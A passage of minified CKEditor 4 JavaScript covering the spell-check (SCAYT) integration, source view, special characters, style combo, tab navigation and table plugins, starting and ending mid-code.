(a.addMenuItem(d,{label:f[e],command:d,group:"scayt_suggest",order:e+1}),b[d]=CKEDITOR.TRISTATE_OFF):(a.addMenuItem(d,{label:f[e],command:d,group:"scayt_moresuggest",order:e+1}),c[d]=CKEDITOR.TRISTATE_OFF,"on"===a.config.scayt_moreSuggestions&&(a.addMenuItem("scayt_moresuggest",{label:l.getLocal("btn_moreSuggestions"),group:"scayt_moresuggest",order:10,getItems:function(){return c}}),b.scayt_moresuggest=CKEDITOR.TRISTATE_OFF))}else for(e=0;e<f.length;e++)d="grayt_suggest_"+CKEDITOR.plugins.scayt.suggestions[e].replace(" ",
"_"),a.addCommand(d,this.createCommand(CKEDITOR.plugins.scayt.suggestions[e],m,h)),a.addMenuItem(d,{label:f[e],command:d,group:"grayt_suggest",order:e+1}),b[d]=CKEDITOR.TRISTATE_OFF;else b.no_scayt_suggest=CKEDITOR.TRISTATE_DISABLED,a.addCommand("no_scayt_suggest",{exec:function(){}}),a.addMenuItem("no_scayt_suggest",{label:l.getLocal("btn_noSuggestions")||"no_scayt_suggest",command:"no_scayt_suggest",group:"scayt_suggest",order:0});return b},menuGenerator:function(a,f){var e=a.scayt,b=this.scaytMenuDefinition(a),
c={},m=a.config.scayt_contextCommands.split("|"),h=f.getAttribute(e.getLangAttribute())||e.getLang(),l,d,k,g;d=e.isScaytNode(f);k=e.isGraytNode(f);d?(b=b.scayt,l=f.getAttribute(e.getScaytNodeAttributeName()),e.fire("getSuggestionsList",{lang:h,word:l}),c=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,d)):k&&(b=b.grayt,c=f.getAttribute(e.getGraytNodeAttributeName()),e.getGraytNodeRuleAttributeName?(l=f.getAttribute(e.getGraytNodeRuleAttributeName()),e.getProblemDescriptionText(c,
l,h)):e.getProblemDescriptionText(c,h),g=e.getProblemDescriptionText(c,l,h),b.grayt_problemdescription&&g&&(g=g.replace(/([.!?])\s/g,"$1\x3cbr\x3e"),b.grayt_problemdescription.label=g),e.fire("getGrammarSuggestionsList",{lang:h,phrase:c,rule:l}),c=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,d));if(d&&"off"==a.config.scayt_contextCommands)return c;for(var n in b)d&&-1==CKEDITOR.tools.indexOf(m,n.replace("scayt_",""))&&"all"!=a.config.scayt_contextCommands||k&&"grayt_problemdescription"!==
n&&-1==CKEDITOR.tools.indexOf(m,n.replace("grayt_",""))&&"all"!=a.config.scayt_contextCommands||(c[n]="undefined"!=typeof b[n].state?b[n].state:CKEDITOR.TRISTATE_OFF,"function"!==typeof b[n].verification||b[n].verification(a)||delete c[n],a.addCommand(n,{exec:b[n].exec}),a.addMenuItem(n,{label:a.lang.scayt[b[n].label]||b[n].label,command:n,group:b[n].group,order:b[n].order}));return c},createCommand:function(a,f,e){return{exec:function(b){b=b.scayt;var c={};c[f]=a;b.replaceSelectionNode(c);"startGrammarCheck"===
e&&b.removeMarkupInSelectionNode({grammarOnly:!0});b.fire(e)}}}});CKEDITOR.plugins.scayt={charsToObserve:[{charName:"cke-fillingChar",charCode:function(){var a=CKEDITOR.version,f=[4,5,6],e=String.fromCharCode(8203),b=Array(8).join(e),c,m;if(!a)return e;for(var a=a.split("."),h=0;h<f.length;h++){c=f[h];m=Number(a[h]);if(m>c)return b;if(m<c)break}return e}()}],state:{scayt:{},grayt:{}},warningCounter:0,suggestions:[],options:{disablingCommandExec:{source:!0,newpage:!0,templates:!0},data_attribute_name:"data-scayt-word",
misspelled_word_class:"scayt-misspell-word",problem_grammar_data_attribute:"data-grayt-phrase",problem_grammar_class:"gramm-problem"},backCompatibilityMap:{scayt_service_protocol:"scayt_serviceProtocol",scayt_service_host:"scayt_serviceHost",scayt_service_port:"scayt_servicePort",scayt_service_path:"scayt_servicePath",scayt_customerid:"scayt_customerId"},openDialog:function(a,f){var e=f.scayt;e.isAllModulesReady&&!1===e.isAllModulesReady()||(f.lockSelection(),f.openDialog(a))},alarmCompatibilityMessage:function(){5>
this.warningCounter&&(console.warn("You are using the latest version of SCAYT plugin for CKEditor with the old application version. In order to have access to the newest features, it is recommended to upgrade the application version to latest one as well. Contact us for more details at [email protected]."),this.warningCounter+=1)},isNewUdSupported:function(a){return a.getUserDictionary?!0:!1},reloadMarkup:function(a){var f;a&&(f=a.getScaytLangList(),a.reloadMarkup?a.reloadMarkup():(this.alarmCompatibilityMessage(),
f&&f.ltr&&f.rtl&&a.fire("startSpellCheck, startGrammarCheck")))},replaceOldOptionsNames:function(a){for(var f in a)f in this.backCompatibilityMap&&(a[this.backCompatibilityMap[f]]=a[f],delete a[f])},createScayt:function(a){var f=this,e=CKEDITOR.plugins.scayt;this.loadScaytLibrary(a,function(a){function c(a){return new SCAYT.CKSCAYT(a,function(){},function(){})}var m;a.window&&(m="BODY"==a.editable().$.nodeName?a.window.getFrame():a.editable());if(m){m={lang:a.config.scayt_sLang,container:m.$,customDictionary:a.config.scayt_customDictionaryIds,
userDictionaryName:a.config.scayt_userDictionaryName,localization:a.langCode,customer_id:a.config.scayt_customerId,customPunctuation:a.config.scayt_customPunctuation,debug:a.config.scayt_debug,data_attribute_name:f.options.data_attribute_name,misspelled_word_class:f.options.misspelled_word_class,problem_grammar_data_attribute:f.options.problem_grammar_data_attribute,problem_grammar_class:f.options.problem_grammar_class,"options-to-restore":a.config.scayt_disableOptionsStorage,focused:a.editable().hasFocus,
ignoreElementsRegex:a.config.scayt_elementsToIgnore,ignoreGraytElementsRegex:a.config.grayt_elementsToIgnore,minWordLength:a.config.scayt_minWordLength,graytAutoStartup:a.config.grayt_autoStartup,charsToObserve:e.charsToObserve};a.config.scayt_serviceProtocol&&(m.service_protocol=a.config.scayt_serviceProtocol);a.config.scayt_serviceHost&&(m.service_host=a.config.scayt_serviceHost);a.config.scayt_servicePort&&(m.service_port=a.config.scayt_servicePort);a.config.scayt_servicePath&&(m.service_path=
a.config.scayt_servicePath);"boolean"===typeof a.config.scayt_ignoreAllCapsWords&&(m["ignore-all-caps-words"]=a.config.scayt_ignoreAllCapsWords);"boolean"===typeof a.config.scayt_ignoreDomainNames&&(m["ignore-domain-names"]=a.config.scayt_ignoreDomainNames);"boolean"===typeof a.config.scayt_ignoreWordsWithMixedCases&&(m["ignore-words-with-mixed-cases"]=a.config.scayt_ignoreWordsWithMixedCases);"boolean"===typeof a.config.scayt_ignoreWordsWithNumbers&&(m["ignore-words-with-numbers"]=a.config.scayt_ignoreWordsWithNumbers);
var h;try{h=c(m)}catch(l){f.alarmCompatibilityMessage(),delete m.charsToObserve,h=c(m)}h.subscribe("suggestionListSend",function(a){for(var b={},c=[],e=0;e<a.suggestionList.length;e++)b["word_"+a.suggestionList[e]]||(b["word_"+a.suggestionList[e]]=a.suggestionList[e],c.push(a.suggestionList[e]));CKEDITOR.plugins.scayt.suggestions=c});h.subscribe("selectionIsChanged",function(d){a.getSelection().isLocked&&"restoreSelection"!==d.action&&a.lockSelection();"restoreSelection"===d.action&&a.selectionChange(!0)});
h.subscribe("graytStateChanged",function(d){e.state.grayt[a.name]=d.state});h.addMarkupHandler&&h.addMarkupHandler(function(d){var c=a.editable(),e=c.getCustomData(d.charName);e&&(e.$=d.node,c.setCustomData(d.charName,e))});a.scayt=h;a.fire("scaytButtonState",a.readOnly?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_ON)}else e.state.scayt[a.name]=!1})},destroy:function(a){a.scayt&&a.scayt.destroy();delete a.scayt;a.fire("scaytButtonState",CKEDITOR.TRISTATE_OFF)},loadScaytLibrary:function(a,f){var e,
b=function(){CKEDITOR.fireOnce("scaytReady");a.scayt||"function"===typeof f&&f(a)};"undefined"===typeof window.SCAYT||"function"!==typeof window.SCAYT.CKSCAYT?(e=a.config.scayt_srcUrl,CKEDITOR.scriptLoader.load(e,function(a){a&&b()})):window.SCAYT&&"function"===typeof window.SCAYT.CKSCAYT&&b()}};CKEDITOR.on("dialogDefinition",function(a){var f=a.data.name;a=a.data.definition.dialog;"scaytDialog"!==f&&"checkspell"!==f&&(a.on("show",function(a){a=a.sender&&a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,
c=a.scayt;c&&b.state.scayt[a.name]&&c.setMarkupPaused&&c.setMarkupPaused(!0)}),a.on("hide",function(a){a=a.sender&&a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;c&&b.state.scayt[a.name]&&c.setMarkupPaused&&c.setMarkupPaused(!1)}));if("scaytDialog"===f)a.on("cancel",function(a){return!1},this,null,-1);if("checkspell"===f)a.on("cancel",function(a){a=a.sender&&a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;c&&b.state.scayt[a.name]&&c.setMarkupPaused&&c.setMarkupPaused(!1);
a.unlockSelection()},this,null,-2);if("link"===f)a.on("ok",function(a){var b=a.sender&&a.sender.getParentEditor();b&&setTimeout(function(){b.fire("reloadMarkupScayt",{removeOptions:{removeInside:!0,forceBookmark:!0},timeout:0})},0)});if("replace"===f)a.on("hide",function(a){a=a.sender&&a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;a&&setTimeout(function(){c&&(c.fire("removeMarkupInDocument",{}),b.reloadMarkup(c))},0)})});CKEDITOR.on("scaytReady",function(){if(!0===CKEDITOR.config.scayt_handleCheckDirty){var a=
CKEDITOR.editor.prototype;a.checkDirty=CKEDITOR.tools.override(a.checkDirty,function(a){return function(){var b=null,c=this.scayt;if(CKEDITOR.plugins.scayt&&CKEDITOR.plugins.scayt.state.scayt[this.name]&&this.scayt){if(b="ready"==this.status)var f=c.removeMarkupFromString(this.getSnapshot()),c=c.removeMarkupFromString(this._.previousValue),b=b&&c!==f}else b=a.call(this);return b}});a.resetDirty=CKEDITOR.tools.override(a.resetDirty,function(a){return function(){var b=this.scayt;CKEDITOR.plugins.scayt&&
CKEDITOR.plugins.scayt.state.scayt[this.name]&&this.scayt?this._.previousValue=b.removeMarkupFromString(this.getSnapshot()):a.call(this)}})}if(!0===CKEDITOR.config.scayt_handleUndoRedo){var a=CKEDITOR.plugins.undo.Image.prototype,f="function"==typeof a.equalsContent?"equalsContent":"equals";a[f]=CKEDITOR.tools.override(a[f],function(a){return function(b){var c=b.editor.scayt,f=this.contents,h=b.contents,l=null;CKEDITOR.plugins.scayt&&CKEDITOR.plugins.scayt.state.scayt[b.editor.name]&&b.editor.scayt&&
(this.contents=c.removeMarkupFromString(f)||"",b.contents=c.removeMarkupFromString(h)||"");l=a.apply(this,arguments);this.contents=f;b.contents=h;return l}})}});(function(){var a={preserveState:!0,editorFocus:!1,readOnly:1,exec:function(a){this.toggleState();this.refresh(a)},refresh:function(a){if(a.document){var e=this.state==CKEDITOR.TRISTATE_ON?"attachClass":"removeClass";a.editable()[e]("cke_show_borders")}}};CKEDITOR.plugins.add("showborders",{modes:{wysiwyg:1},onLoad:function(){var a;a=(CKEDITOR.env.ie6Compat?
[".%1 table.%2,",".%1 table.%2 td, .%1 table.%2 th","{","border : #d3d3d3 1px dotted","}"]:".%1 table.%2,;.%1 table.%2 \x3e tr \x3e td, .%1 table.%2 \x3e tr \x3e th,;.%1 table.%2 \x3e tbody \x3e tr \x3e td, .%1 table.%2 \x3e tbody \x3e tr \x3e th,;.%1 table.%2 \x3e thead \x3e tr \x3e td, .%1 table.%2 \x3e thead \x3e tr \x3e th,;.%1 table.%2 \x3e tfoot \x3e tr \x3e td, .%1 table.%2 \x3e tfoot \x3e tr \x3e th;{;border : #d3d3d3 1px dotted;}".split(";")).join("").replace(/%2/g,"cke_show_border").replace(/%1/g,
"cke_show_borders ");CKEDITOR.addCss(a)},init:function(f){var e=f.addCommand("showborders",a);e.canUndo=!1;!1!==f.config.startupShowBorders&&e.setState(CKEDITOR.TRISTATE_ON);f.on("mode",function(){e.state!=CKEDITOR.TRISTATE_DISABLED&&e.refresh(f)},null,null,100);f.on("contentDom",function(){e.state!=CKEDITOR.TRISTATE_DISABLED&&e.refresh(f)});f.on("removeFormatCleanup",function(a){a=a.data;f.getCommand("showborders").state==CKEDITOR.TRISTATE_ON&&a.is("table")&&(!a.hasAttribute("border")||0>=parseInt(a.getAttribute("border"),
10))&&a.addClass("cke_show_border")})},afterInit:function(a){var e=a.dataProcessor;a=e&&e.dataFilter;e=e&&e.htmlFilter;a&&a.addRules({elements:{table:function(a){a=a.attributes;var c=a["class"],e=parseInt(a.border,10);e&&!(0>=e)||c&&-1!=c.indexOf("cke_show_border")||(a["class"]=(c||"")+" cke_show_border")}}});e&&e.addRules({elements:{table:function(a){a=a.attributes;var c=a["class"];c&&(a["class"]=c.replace("cke_show_border","").replace(/\s{2}/," ").replace(/^\s+|\s+$/,""))}}})}});CKEDITOR.on("dialogDefinition",
function(a){var e=a.data.name;if("table"==e||"tableProperties"==e)if(a=a.data.definition,e=a.getContents("info").get("txtBorder"),e.commit=CKEDITOR.tools.override(e.commit,function(a){return function(c,e){a.apply(this,arguments);var f=parseInt(this.getValue(),10);e[!f||0>=f?"addClass":"removeClass"]("cke_show_border")}}),a=(a=a.getContents("advanced"))&&a.get("advCSSClasses"))a.setup=CKEDITOR.tools.override(a.setup,function(a){return function(){a.apply(this,arguments);this.setValue(this.getValue().replace(/cke_show_border/,
""))}}),a.commit=CKEDITOR.tools.override(a.commit,function(a){return function(c,e){a.apply(this,arguments);parseInt(e.getAttribute("border"),10)||e.addClass("cke_show_border")}})})})();(function(){CKEDITOR.plugins.add("sourcearea",{init:function(f){function e(){var a=c&&this.equals(CKEDITOR.document.getActive());this.hide();this.setStyle("height",this.getParent().$.clientHeight+"px");this.setStyle("width",this.getParent().$.clientWidth+"px");this.show();a&&this.focus()}if(f.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var b=
CKEDITOR.plugins.sourcearea;f.addMode("source",function(b){var c=f.ui.space("contents").getDocument().createElement("textarea");c.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?"99%":"100%",height:"100%",resize:"none",outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",f.config.sourceAreaTabSize||4)));c.setAttribute("dir","ltr");c.addClass("cke_source").addClass("cke_reset").addClass("cke_enable_context_menu");f.ui.space("contents").append(c);c=f.editable(new a(f,
c));c.setData(f.getData(1));CKEDITOR.env.ie&&(c.attachListener(f,"resize",e,c),c.attachListener(CKEDITOR.document.getWindow(),"resize",e,c),CKEDITOR.tools.setTimeout(e,0,c));f.fire("ariaWidget",this);b()});f.addCommand("source",b.commands.source);f.ui.addButton&&f.ui.addButton("Source",{label:f.lang.sourcearea.toolbar,command:"source",toolbar:"mode,10"});f.on("mode",function(){f.getCommand("source").setState("source"==f.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)});var c=CKEDITOR.env.ie&&9==
CKEDITOR.env.version}}});var a=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.status="ready";this.editor.fire("dataReady")},getData:function(){return this.getValue()},insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?"set":"remove")+"Attribute"]("readOnly","readonly")},detach:function(){a.baseProto.detach.call(this);this.clearCustomData();this.remove()}}})})();CKEDITOR.plugins.sourcearea=
{commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(a){"wysiwyg"==a.mode&&a.fire("saveSnapshot");a.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED);a.setMode("source"==a.mode?"wysiwyg":"source")},canUndo:!1}}};CKEDITOR.plugins.add("specialchar",{availableLangs:{af:1,ar:1,az:1,bg:1,ca:1,cs:1,cy:1,da:1,de:1,"de-ch":1,el:1,en:1,"en-au":1,"en-ca":1,"en-gb":1,eo:1,es:1,"es-mx":1,et:1,eu:1,fa:1,fi:1,fr:1,"fr-ca":1,gl:1,he:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,
lt:1,lv:1,nb:1,nl:1,no:1,oc:1,pl:1,pt:1,"pt-br":1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,sr:1,"sr-latn":1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,"zh-cn":1},requires:"dialog",init:function(a){var f=this;CKEDITOR.dialog.add("specialchar",this.path+"dialogs/specialchar.js");a.addCommand("specialchar",{exec:function(){var e=a.langCode,e=f.availableLangs[e]?e:f.availableLangs[e.replace(/-.*/,"")]?e.replace(/-.*/,""):"en";CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(f.path+"dialogs/lang/"+e+".js"),function(){CKEDITOR.tools.extend(a.lang.specialchar,
f.langEntries[e]);a.openDialog("specialchar")})},modes:{wysiwyg:1},canUndo:!1});a.ui.addButton&&a.ui.addButton("SpecialChar",{label:a.lang.specialchar.toolbar,command:"specialchar",toolbar:"insert,50"})}});CKEDITOR.config.specialChars="! \x26quot; # $ % \x26amp; ' ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; \x26lt; \x3d \x26gt; ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ \x26euro; \x26lsquo; \x26rsquo; \x26ldquo; \x26rdquo; \x26ndash; \x26mdash; \x26iexcl; \x26cent; \x26pound; \x26curren; \x26yen; \x26brvbar; \x26sect; \x26uml; \x26copy; \x26ordf; \x26laquo; \x26not; \x26reg; \x26macr; \x26deg; \x26sup2; \x26sup3; \x26acute; \x26micro; \x26para; \x26middot; \x26cedil; \x26sup1; \x26ordm; \x26raquo; \x26frac14; \x26frac12; \x26frac34; \x26iquest; \x26Agrave; \x26Aacute; \x26Acirc; \x26Atilde; \x26Auml; \x26Aring; \x26AElig; \x26Ccedil; \x26Egrave; \x26Eacute; \x26Ecirc; \x26Euml; \x26Igrave; \x26Iacute; \x26Icirc; \x26Iuml; \x26ETH; \x26Ntilde; \x26Ograve; \x26Oacute; \x26Ocirc; \x26Otilde; \x26Ouml; \x26times; \x26Oslash; \x26Ugrave; \x26Uacute; \x26Ucirc; \x26Uuml; \x26Yacute; \x26THORN; \x26szlig; \x26agrave; \x26aacute; \x26acirc; \x26atilde; \x26auml; \x26aring; \x26aelig; \x26ccedil; \x26egrave; \x26eacute; \x26ecirc; \x26euml; \x26igrave; \x26iacute; \x26icirc; \x26iuml; \x26eth; \x26ntilde; \x26ograve; \x26oacute; \x26ocirc; \x26otilde; \x26ouml; \x26divide; \x26oslash; \x26ugrave; \x26uacute; \x26ucirc; \x26uuml; \x26yacute; \x26thorn; \x26yuml; \x26OElig; \x26oelig; \x26#372; \x26#374 \x26#373 \x26#375; \x26sbquo; \x26#8219; \x26bdquo; \x26hellip; \x26trade; \x26#9658; \x26bull; \x26rarr; \x26rArr; \x26hArr; \x26diams; \x26asymp;".split(" ");
(function(){CKEDITOR.plugins.add("stylescombo",{requires:"richcombo",init:function(a){var f=a.config,e=a.lang.stylescombo,b={},c=[],m=[];a.on("stylesSet",function(e){if(e=e.data.styles){for(var l,d,k,g=0,n=e.length;g<n;g++)(l=e[g],a.blockless&&l.element in CKEDITOR.dtd.$block||"string"==typeof l.type&&!CKEDITOR.style.customHandlers[l.type]||(d=l.name,l=new CKEDITOR.style(l),a.filter.customConfig&&!a.filter.check(l)))||(l._name=d,l._.enterMode=f.enterMode,l._.type=k=l.assignedTo||l.type,l._.weight=
g+1E3*(k==CKEDITOR.STYLE_OBJECT?1:k==CKEDITOR.STYLE_BLOCK?2:3),b[d]=l,c.push(l),m.push(l));c.sort(function(a,b){return a._.weight-b._.weight})}});a.ui.addRichCombo("Styles",{label:e.label,title:e.panelTitle,toolbar:"styles,10",allowedContent:m,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(f.contentsCss),multiSelect:!0,attributes:{"aria-label":e.panelTitle}},init:function(){var a,b,d,f,g,m;g=0;for(m=c.length;g<m;g++)a=c[g],b=a._name,f=a._.type,f!=d&&(this.startGroup(e["panelTitle"+String(f)]),
d=f),this.add(b,a.type==CKEDITOR.STYLE_OBJECT?b:a.buildPreview(),b);this.commit()},onClick:function(c){a.focus();a.fire("saveSnapshot");c=b[c];var e=a.elementPath();if(c.group&&c.removeStylesFromSameGroup(a))a.applyStyle(c);else a[c.checkActive(e,a)?"removeStyle":"applyStyle"](c);a.fire("saveSnapshot")},onRender:function(){a.on("selectionChange",function(c){var e=this.getValue();c=c.data.path.elements;for(var d=0,f=c.length,g;d<f;d++){g=c[d];for(var m in b)if(b[m].checkElementRemovable(g,!0,a)){m!=
e&&this.setValue(m);return}}this.setValue("")},this)},onOpen:function(){var c=a.getSelection(),c=c.getSelectedElement()||c.getStartElement()||a.editable(),c=a.elementPath(c),f=[0,0,0,0];this.showAll();this.unmarkAll();for(var d in b){var k=b[d],g=k._.type;k.checkApplicable(c,a,a.activeFilter)?f[g]++:this.hideItem(d);k.checkActive(c,a)&&this.mark(d)}f[CKEDITOR.STYLE_BLOCK]||this.hideGroup(e["panelTitle"+String(CKEDITOR.STYLE_BLOCK)]);f[CKEDITOR.STYLE_INLINE]||this.hideGroup(e["panelTitle"+String(CKEDITOR.STYLE_INLINE)]);
f[CKEDITOR.STYLE_OBJECT]||this.hideGroup(e["panelTitle"+String(CKEDITOR.STYLE_OBJECT)])},refresh:function(){var c=a.elementPath();if(c){for(var e in b)if(b[e].checkApplicable(c,a,a.activeFilter))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){b={};c=[]}})}})})();(function(){function a(a){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(b){if(b.editable().hasFocus){var e=b.getSelection(),f;if(f=(new CKEDITOR.dom.elementPath(e.getCommonAncestor(),e.root)).contains({td:1,
th:1},1)){var e=b.createRange(),d=CKEDITOR.tools.tryThese(function(){var b=f.getParent().$.cells[f.$.cellIndex+(a?-1:1)];b.parentNode.parentNode;return b},function(){var b=f.getParent(),b=b.getAscendant("table").$.rows[b.$.rowIndex+(a?-1:1)];return b.cells[a?b.cells.length-1:0]});if(d||a)if(d)d=new CKEDITOR.dom.element(d),e.moveToElementEditStart(d),e.checkStartOfBlock()&&e.checkEndOfBlock()||e.selectNodeContents(d);else return!0;else{for(var k=f.getAscendant("table").$,d=f.getParent().$.cells,k=
new CKEDITOR.dom.element(k.insertRow(-1),b.document),g=0,n=d.length;g<n;g++)k.append((new CKEDITOR.dom.element(d[g],b.document)).clone(!1,!1)).appendBogus();e.moveToElementEditStart(k)}e.select(!0);return!0}}return!1}}}var f={editorFocus:!1,modes:{wysiwyg:1,source:1}},e={exec:function(a){a.container.focusNext(!0,a.tabIndex)}},b={exec:function(a){a.container.focusPrevious(!0,a.tabIndex)}};CKEDITOR.plugins.add("tab",{init:function(c){for(var m=!1!==c.config.enableTabKeyTools,h=c.config.tabSpaces||0,
l="";h--;)l+=" ";if(l)c.on("key",function(a){9==a.data.keyCode&&(c.insertText(l),a.cancel())});if(m)c.on("key",function(a){(9==a.data.keyCode&&c.execCommand("selectNextCell")||a.data.keyCode==CKEDITOR.SHIFT+9&&c.execCommand("selectPreviousCell"))&&a.cancel()});c.addCommand("blur",CKEDITOR.tools.extend(e,f));c.addCommand("blurBack",CKEDITOR.tools.extend(b,f));c.addCommand("selectNextCell",a());c.addCommand("selectPreviousCell",a(!0))}})})();CKEDITOR.dom.element.prototype.focusNext=function(a,f){var e=
void 0===f?this.getTabIndex():f,b,c,m,h,l,d;if(0>=e)for(l=this.getNextSourceNode(a,CKEDITOR.NODE_ELEMENT);l;){if(l.isVisible()&&0===l.getTabIndex()){m=l;break}l=l.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(l=this.getDocument().getBody().getFirst();l=l.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!b)if(!c&&l.equals(this)){if(c=!0,a){if(!(l=l.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;b=1}}else c&&!this.contains(l)&&(b=1);if(l.isVisible()&&!(0>(d=l.getTabIndex()))){if(b&&d==e){m=
l;break}d>e&&(!m||!h||d<h)?(m=l,h=d):m||0!==d||(m=l,h=d)}}m&&m.focus()};CKEDITOR.dom.element.prototype.focusPrevious=function(a,f){for(var e=void 0===f?this.getTabIndex():f,b,c,m,h=0,l,d=this.getDocument().getBody().getLast();d=d.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!b)if(!c&&d.equals(this)){if(c=!0,a){if(!(d=d.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;b=1}}else c&&!this.contains(d)&&(b=1);if(d.isVisible()&&!(0>(l=d.getTabIndex())))if(0>=e){if(b&&0===l){m=d;break}l>h&&
(m=d,h=l)}else{if(b&&l==e){m=d;break}l<e&&(!m||l>h)&&(m=d,h=l)}}m&&m.focus()};CKEDITOR.plugins.add("table",{requires:"dialog",init:function(a){function f(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains("table",1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!a.blockless){var e=a.lang.table;a.addCommand("table",new CKEDITOR.dialogCommand("table",{context:"table",allowedContent:"table{width,height,border-collapse}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];td{border*,background-color,vertical-align,width,height}[colspan,rowspan];"+
(a.plugins.dialogadvtab?"table"+a.plugins.dialogadvtab.allowedContent():""),requiredContent:"table",contentTransformations:[["table{width}: sizeToStyle","table[width]: sizeToAttribute"],["td: splitBorderShorthand"],[{element:"table",right:function(a){if(a.styles){var c;if(a.styles.border)c=CKEDITOR.tools.style.parse.border(a.styles.border);else if(CKEDITOR.env.ie&&8===CKEDITOR.env.version){var e=a.styles;e["border-left"]&&e["border-left"]===e["border-right"]&&e["border-right"]===e["border-top"]&&
e["border-top"]===e["border-bottom"]&&(c=CKEDITOR.tools.style.parse.border(e["border-top"]))}c&&c.style&&"solid"===c.style&&c.width&&0!==parseFloat(c.width)&&(a.attributes.border=1);"collapse"==a.styles["border-collapse"]&&(a.attributes.cellspacing=0)}}}]]}));a.addCommand("tableProperties",new CKEDITOR.dialogCommand("tableProperties",f()));a.addCommand("tableDelete",f({exec:function(a){var c=a.elementPath().contains("table",1);if(c){var e=c.getParent(),f=a.editable();1!=e.getChildCount()||e.is("td",
"th")||e.equals(f)||(c=e);a=a.createRange();a.moveToPosition(c,CKEDITOR.POSITION_BEFORE_START);c.remove();a.select()}}}));a.ui.addButton&&a.ui.addButton("Table",{label:e.toolbar,command:"table",toolbar:"insert,30"});CKEDITOR.dialog.add("table",this.path+"dialogs/table.js");CKEDITOR.dialog.add("tableProperties",this.path+"dialogs/table.js");a.addMenuItems&&a.addMenuItems({table:{label:e.menu,command:"tableProperties",group:"table",order:5},tabledelete:{label:e.deleteTable,command:"tableDelete",group:"table",
order:1}});a.on("doubleclick",function(a){a.data.element.is("table")&&(a.data.dialog="tableProperties")});a.contextMenu&&a.contextMenu.addListener(function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}})}}});(function(){function a(a,b){function d(a){return b?b.contains(a)&&a.getAscendant("table",!0).equals(b):!0}function c(a){var b=/^(?:td|th)$/;0<e.length||a.type!=CKEDITOR.NODE_ELEMENT||!b.test(a.getName())||a.getCustomData("selected_cell")||(CKEDITOR.dom.element.setMarker(f,
a,"selected_cell",!0),e.push(a))}var e=[],f={};if(!a)return e;for(var g=a.getRanges(),k=0;k<g.length;k++){var h=g[k];if(h.collapsed)(h=h.getCommonAncestor().getAscendant({td:1,th:1},!0))&&d(h)&&e.push(h);else{var h=new CKEDITOR.dom.walker(h),l;for(h.guard=c;l=h.next();)l.type==CKEDITOR.NODE_ELEMENT&&l.is(CKEDITOR.dtd.table)||(l=l.getAscendant({td:1,th:1},!0))&&!l.getCustomData("selected_cell")&&d(l)&&(CKEDITOR.dom.element.setMarker(f,l,"selected_cell",!0),e.push(l))}}CKEDITOR.dom.element.clearAllMarkers(f);
return e}function f(b,d){for(var c=q(b)?b:a(b),e=c[0],f=e.getAscendant("table"),e=e.getDocument(),g=c[0].getParent(),k=g.$.rowIndex,c=c[c.length-1],h=c.getParent().$.rowIndex+c.$.rowSpan-1,c=new CKEDITOR.dom.element(f.$.rows[h]),k=d?k:h,g=d?g:c,c=CKEDITOR.tools.buildTableMap(f),f=c[k],k=d?c[k-1]:c[k+1],c=c[0].length,e=e.createElement("tr"),h=0;f[h]&&h<c;h++){var l;1<f[h].rowSpan&&k&&f[h]==k[h]?(l=f[h],l.rowSpan+=1):(l=(new CKEDITOR.dom.element(f[h])).clone(),l.removeAttribute("rowSpan"),l.appendBogus(),
e.append(l),l=l.$);h+=l.colSpan-1}d?e.insertBefore(g):e.insertAfter(g);return e}function e(b){if(b instanceof CKEDITOR.dom.selection){var d=b.getRanges(),c=a(b),f=c[0].getAscendant("table"),g=CKEDITOR.tools.buildTableMap(f),k=c[0].getParent().$.rowIndex,c=c[c.length-1],h=c.getParent().$.rowIndex+c.$.rowSpan-1,c=[];b.reset();for(b=k;b<=h;b++){for(var l=g[b],m=new CKEDITOR.dom.element(f.$.rows[b]),n=0;n<l.length;n++){var r=new CKEDITOR.dom.element(l[n]),q=r.getParent().$.rowIndex;1==r.$.rowSpan?r.remove():
